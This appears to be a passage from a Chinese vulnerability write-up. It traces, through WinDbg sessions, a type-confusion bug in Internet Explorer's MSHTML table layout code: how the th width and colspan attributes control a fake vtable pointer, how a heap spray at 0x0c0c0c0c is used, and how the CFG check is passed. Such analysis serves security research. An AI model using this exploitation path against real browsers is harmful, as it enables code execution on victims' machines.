0:007:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
68dbed16 83c010 add eax,10h
0:007:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
68dbed19 c3 ret//函数正常返回
0:007:x86> r eax
eax=007e7a00
0:007:x86> dps eax
007e7a00 0a020660
007e7a04 00000064
007e7a08 00000064
007e7a0c 007e79f0
007e7a10 007e79f0
0:007:x86> p
Breakpoint 0 hit//这个地方会引用正常的值
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6968fc87 833800 cmp dword ptr [eax],0 ds:002b:007e7a00=0a020660
直接继续执行，程序会第二次命中Readable函数，这次来看一下ecx中存放的对象。
0:007:x86> r
eax=0a020000 ebx=0a020120 ecx=0a020120 edx=00000000 esi=00000064 edi=69adc680
eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> dps ecx
0a020120 00000000
0a020124 00000028
0a020128 00000050
0a02012c 00000078
0a020130 000000a0
0a020134 000000c8
0a020138 a0a0a0a0
0a02013c a0a0a0a0
这次存放的对象并非是一个虚表对象，这个对象是一个int
Array的维度对象，这样我们通过条件断点来跟踪两个对象的创建过程。我们重点关注两个对象创建的函数，一个是FlowItem::`vftable对应的虚表对象，另一个是引发崩溃的int
Array对象。这两个函数的返回值，也就是eax寄存器中存放的就是指向这两个创建对象的指针。
MSHTML!Array<Math::SLayoutMeasure>::Create
MSHTML!Array<SP<Tree::TableRowGroupBlock>>::Create
通过对这两个对象进行跟踪，我们可以看见到对象的创建，以及后续引用对象，导致Type Confusion。
//下条件断点，打印每一次int Array object创建的信息
0:007:x86> bp 6912e1fb ".printf \"Something: 0x%08x,0x%08x\\n\",@eax,poi(eax);g;"
//对象被不断创建
0:007:x86> g
Something: 0x088abc84,0x0098c788
Something: 0x088abc84,0x09806790
Something: 0x088abc84,0x097d9010
Something: 0x088abc5c,0x097dafd8
Something: 0x088abc84,0x097ce050
Something: 0x088abc84,0x098026e0
Something: 0x088abc84,0x098044c8
Something: 0x088abc84,0x097ff540
Something: 0x088abc5c,0x097d5058
Something: 0x088abafc,0x097cab00
Something: 0x088abafc,0x0980a690 //key!!
Breakpoint 1 hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> r//第一次命中时，是正常的FlowItem对象
eax=0980aa80 ebx=0094d364 ecx=0094d364 edx=0094d364 esi=00000064 edi=69ad8080
eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> g
Breakpoint 1 hit
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
0:007:x86> r//第二次命中时，注意ecx寄存器的值，0x0980a690
eax=0980a570 ebx=0980a690 ecx=0980a690 edx=00000000 esi=00000064 edi=69adc680
eip=6968fc82 esp=088abb28 ebp=088abb54 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
果然第二次命中的时候，是一个int Array Object。因此，这个漏洞就是由于Layout::Patchable
>::Readable函数是处理虚表对象的函数，但是由于boom()函数中引用th1.align导致Readable函数第二次引用，由于没有对对象属性进行检查，导致第二次会将table对象传入。
这就是一个典型的Type Confusion。
而Readable会将这个对象当作虚表对象处理，而这个int Array维度对象我们可以控制，从而通过控制Readable返回值来达到代码执行。
* * *
### Exploitation Surface
如果想利用这个漏洞，我们需要分析一下攻击面，首先是我们可控的位置是什么（也就是在之前我提到的int
Array的维度），这个可控的位置是否有利用点，有哪些防护，是否有可能绕过等等。
首先我们来看一下利用位置的上下文。
cmp dword ptr [eax],0
je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d83
mov ecx,ebx
call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable
mov dword ptr [ebp-10h],esp
mov ebx,dword ptr [eax]
mov eax,dword ptr [ebx]
mov edi,dword ptr [eax+1A4h]
mov ecx,edi
call dword ptr [MSHTML!__guard_check_icall_fptr]
mov ecx,ebx
call edi
可看到，在eax作为指针返回后，会在后续继续调用到一个Readable函数，而在这个函数后返回后，eax会连续传递，最后调用到call
edi，引用这个虚函数。
也就是说，一旦我们可以控制这个指针，我们就有可能在call edi位置达到代码执行的效果。
而可以看到，在call edi之前，有一处call
__guard_check_icall_fptr，这是Windows新的防护机制CFG，在执行虚函数调用前，会检查虚函数。
因此，我们简单分析一下我们的攻击面，首先我们可控的位置是int Array
Object+0x4位置的值，这个值控制范围有限，因此我们似乎不能通过这种方法来获得任意地址的读写能力，因此对于我们来说ASLR对于这个漏洞来说不好绕过。ASLR和DEP不好绕过。
接下来，我们要分析的就是，如何控制这个值。这个对象经过我们刚才的分析，是由MSHTML!Array::Create函数创建的对象，但赋值并非在这个位置。在分析的过程中，我对Layout中的大量类函数进行了跟踪分析，这里我将通过正向来直接跟大家展示这个值是从什么位置来的。
* * *
### 跟踪TableBoxBuilder结构体
这里，我们稍微修改一下PoC，主要是对th1对象中的width值进行修改。
<th id="th1" colspan="5" width=10000></th>
下面调试过程中，由于多次重启，堆地址值有所变化，但不影响分析。
首先，我们要关注的是一个名为FlowBoxBuilder的对象，这个对象偏移＋0x124的位置将会存放Width值生成的一个size。在Layout::FlowBoxBuilder::FlowBoxBuilder函数中，这个结构体对象被创建。
0:007:x86> p
MSHTML!Layout::FlowBoxBuilder::FlowBoxBuilder+0xe:
67c70ae4 8bd9 mov ebx,ecx//对象位置被初始化
0:007:x86> r ecx
ecx=09a42ad8
0:007:x86> dd 09a42ad8+124//对应位置的成员变量已经被初始化
09a42bfc e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
0:007:x86> ba w1 09a42ad8+124 //对＋0x124位置下写入断点
0:007:x86> g
Breakpoint 4 hit
MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing+0x11b:
67b18c75 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:007:x86> dd 09a42ad8+124//可以看到在InitializeBoxSizing函数中被赋值
09a42bfc 00989680=1000000
可以看到，在MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing函数中，FlowBoxBuilder+0x124位置被赋值。赋值的内容是0x989680，就是1000000，这个值又是从哪里来的呢？在MSHTML中有一个函数MSHTML!Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth，这个计算会将table的width＊100。
如上面的代码片段，FlowBoxBuilder在InitializeBoxSizing中初始化之后，偏移＋0x124位置会将ComputeBoxModelForChildWithUsedWidth函数的计算值保存。
随后这个值会加上200，之后这个值回存入结构体中，然后会存放在FlowBoxBuilder结构体＋0x114的位置。
67b0201a 8906 mov dword ptr [esi],eax
0:007:x86> g
Breakpoint 7 hit
MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13:
67b0201c 85c9 test ecx,ecx
0:007:x86> dd 09b40948+114//
09b40a5c 09b778d0 00000000 e0e0e0e0 00000000//在FlowBoxBuilder+0x114位置存放了一个结构体
09b40a6c 00989874 //+200之后依然存放在FlowBoxBuilder+0x124的位置
0:007:x86> dd 09b778d0
09b778d0 67e6c574 00000001 09b36560 09b6f968//结构体＋0xc位置存放着目标结构体，这个结构体其实就是一个int Array结构，这个结构会在后续调用中用到。
09b778e0 00989874
0:007:x86> dd 09b6f968
09b6f968 00000000 001e84a8 003d0950 005b8df8
09b6f978 007a12a0 00989748 a0a0a0a0 a0a0a0a0
09b6f988 00000000 00000000 4c762d5c 000c2ca7
09b6f998 09b5a4a8 09b71a68 f0f0f0f0 f0f0f0f0
09b6f9a8 f0f0f0f0 f0f0f0f0 a0a0a0a0 a0a0a0a0
09b6f9b8 00000000 00000000 59752d4a 140c2caa
09b6f9c8 abcdaaaa 80411000 00000044 0000006c
09b6f9d8 09b6fa58 09b6f910 04d67e6c dcbaaaaa
0:007:x86> kb//调用逻辑
ChildEBP RetAddr Args to Child
08efb8f4 67e6c0fc 09b778d0 08efbd54 09b409d0 MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13
08efb940 67e6c03e 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModelForTable+0x9f
08efb9bc 67b1a3dc 090b82f8 09b40900 09b40a20 MSHTML!Layout::SBoxModel::CalculateFullBoxModel+0x270
08efbac4 67b12365 08efbd54 0001f400 08efbcec MSHTML!Layout::FlowBoxBuilder::BuildBoxItem+0x25a
到此，我们完成了对FlowBoxBuilder结构体关键成员变量的赋值，这个成员变量会在后续调用中，进入很关键的TableBoxBuilder结构体，我们关键的Array位置存放在FlowBoxBuilder+0x114的指针内偏移为+0xc的指针处，接下来我们进入TableBoxBuilder类函数跟踪。
+0xc的这个Array会在TableBoxBuilder::InitialBoxSizing函数中交给TableBoxBuilder结构体+0x294的位置。
0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5c:
67e766ac 8d460c lea eax,[esi+0Ch]//esi存放的就是FlowBoxBuilder+0x114的指针
//+0xc位置存放的就是Array结构体
0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5f:
67e766af 50 push eax
0:007:x86> p
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x60:
67e766b0 8d8b94020000 lea ecx,[ebx+294h]//ebx存放的是TableBoxBuilder+0x294的指针地址
0:007:x86> p//调用SArray::operator
MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x66:
67e766b6 e879e6c4ff call MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator= (67ac4d34)//esi+0c
0:007:x86> dd 0963ba2c//esi+0xc的值
0963ba2c 00a2beb0 00000000 e0e0e0e0 00000000
0:007:x86> dd a2beb0
00a2beb0 00000000 001e84a8 003d0950 005b8df8
00a2bec0 007a12a0 00989748 a0a0a0a0 a0a0a0a0
在MSHTML!SArray::operator函数中，会完成对TableBoxBuilder+0x294位置的赋值，就是将上面代码中esi+0xc的值，交给TableBoxBuilder+0x294。
0:007:x86> g
Breakpoint 4 hit
MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a:
67ac4d4e 85c9 test ecx,ecx
0:007:x86> dd 09d7ff30+294//偏移294位置存放着TableBoxBuilder中的size部分，用于赋值给Type Confusion的对象
09d801c4 09d7da30 00000000 e0e0e0e0 00000000
09d801d4 00000000 a0a0a0a0 a0a0a0a0 09d7f868
0:007:x86> dd 09d7da30//已经完成了Size的赋值操作
09d7da30 00000000 001e84a8 003d0950 005b8df8
09d7da40 007a12a0 00989748 a0a0a0a0 a0a0a0a0
0:007:x86> kb
ChildEBP RetAddr Args to Child
08e7b878 67e766bb 09da48bc 08e7bbbc 08e7b8a8 MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a
08e7b890 67ccb346 051d2fd8 051d2f88 09da48b0 MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x6b
在最后漏洞触发位置的MSHTML!Layout::TableGridBox::InitializeColumnData函数中，会完成对我们漏洞触发位置的Type
Confusion的结构体内容的赋值。
6912e226 8b8394020000 mov eax,dword ptr [ebx+294h] ds:002b:0924592c=09245598 //what is ebx and ebx+294 ebx is struct Layout::TableBoxBuilder
6912e22c 8b0e mov ecx,dword ptr [esi]//获取我申请的堆指针
6912e22e 8b0490 mov eax,dword ptr [eax+edx*4]//计算TableBoxBuilder对应294位置的值+索引*sizeof
6912e231 890491 mov dword ptr [ecx+edx*4],eax//将这个值交给申请堆指针对应索引的位置
6912e234 42 inc edx//edx = edx+1//自加1
6912e235 3bd7 cmp edx,edi//check lenth 检测是否已经到达我申请的堆大小
6912e237 7ced jl MSHTML!Layout::TableGridBox::InitializeColumnData+0x6c (6912e226)
可能大家这个时候有点乱了，下面我将用一个流程图来展示一下结构体的赋值过程。大致就是首先会通过计算获得Width的一个size，计算方法是:Width*100+200，随后，会将这个值保存在一个Array里，这个Array的大小后面会讲到。之后会将这个Array存入一个指针偏移＋0xc的位置，交给FlowBoxBuilder结构体＋0x114的位置。之后，会赋值给TableBoxBuilder结构体＋0x294位置，最后会交给漏洞触发位置申请的堆指针。
而经过我们上面的分析，产生漏洞的位置在这个Array+0x4位置，我们也需要通过table的条件控制这个位置的值，才能达到利用。
* * *
### 控制Array结构到漏洞利用
通过上面的跟踪，我们知道了id=th1的Table中的Width可以控制一个Array结构，但是我们也发现Array结构并非单独只包含一个Width计算得到的值。
0:007:x86> dd 9bc7038
<th id="th1" colspan="5" width=1000></th>//
09bc7038 00000000 00004e48 00009c90 0000ead8
09bc7048 00013920 00018768 a0a0a0a0 a0a0a0a0
可以看到，Array结构是有一个大小的，其实，这个Array中存放的值，取决于width，而大小取决于colspan，这个colspan为5的情况下，Array中存放了5个值，而我们需要控制的是Array+0x4这个位置的值，这样的话，我们将colspan的大小修改为1，并且修改Width的值。
<th id="th1" colspan="1" width=2021159></th>
0:005:x86> t
MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable:
67afecf4 8b15fc5cb368 mov edx,dword ptr [MSHTML!_tls_index (68b35cfc)] ds:002b:68b35cfc=00000002
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x6:
67afecfa 64a12c000000 mov eax,dword ptr fs:[0000002Ch] fs:0053:0000002c=00000000
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0xc:
67afed00 8b0490 mov eax,dword ptr [eax+edx*4] ds:002b:008f5dd0=008f0fb8
0:005:x86> dd ecx//ecx存放的是Array
098563c8 00000000 0c0c0c04 a0a0a0a0 a0a0a0a0
可以看到，通过修改Width和colspan，我们成功控制了Array+0x4位置的值，这样，在接下来由于TypeConfusion，会将这个int
Array当成是vftable pointer返回，并继续执行。
0:005:x86> p//Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable函数
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e:
67afed16 83c010 add eax,10h
0:005:x86> p
MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21:
67afed19 c3 ret
0:005:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36://返回之后，eax成功变成了0c0c0c14的值
683cfc87 833800 cmp dword ptr [eax],0 ds:002b:0c0c0c14=00000000
可以看到，在返回后，我们可以成功控制这个返回指针了。接下来，我们利用heap spray来喷射堆，从而稳定控制0c0c0c0c位置的值。
* * *
### CFG???从PoC到半个exploit
到此，我们完成了对漏洞函数返回值的控制，在文章最开始的时候，我们看到这个指针的值中的成员变量，会作为虚函数在后续call调用中引用，在此之前，会有一处CFG
check。
0:007:x86> p//eax已经被我们控制，跳转到喷射结束的堆中
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d45:
683cfc96 8b18 mov ebx,dword ptr [eax] ds:002b:0c0c0bb0=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d47:
683cfc98 8b03 mov eax,dword ptr [ebx] ds:002b:0c0c0c0c=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d49:
683cfc9a 8bb8a4010000 mov edi,dword ptr [eax+1A4h] ds:002b:0c0c0db0=0c0c0c0c
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d4f:
683cfca0 8bcf mov ecx,edi
0:007:x86> p
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d51:
683cfca2 ff1534afb568 call dword ptr [MSHTML!__guard_check_icall_fptr (68b5af34)] ds:002b:68b5af34=67ac4b50//进入CFG check函数
0:007:x86> t
MSHTML!CJSProtocol::`vftable'+0xc://对CJSProtocol vftable的值进行检查
67ac4b50 8bc0 mov eax,eax
0:007:x86> p
MSHTML!CElement::OnGCFilteredForReplacedElem:
67ac4b52 c3 ret
这也是有疑惑的地方，在这个CFG
check中，会对CJProtocol::`vftable有效性进行检查，但是没有对我们返回值指向的虚函数进行检查，导致我们可以通过这处CFG检查。
但是由于所有地址模块都开启了ASLR，而利用面来看的话，并没有地方可以泄露内存信息，也没有其他好用的利用点，这样的话就不好绕过ASLR和DEP，我在关闭win7
DEP的情况下，完成了利用。
感谢大家阅读，如果有不当之处，请大家多多交流，谢谢！
* * * | 社区文章 |
Subsets and Splits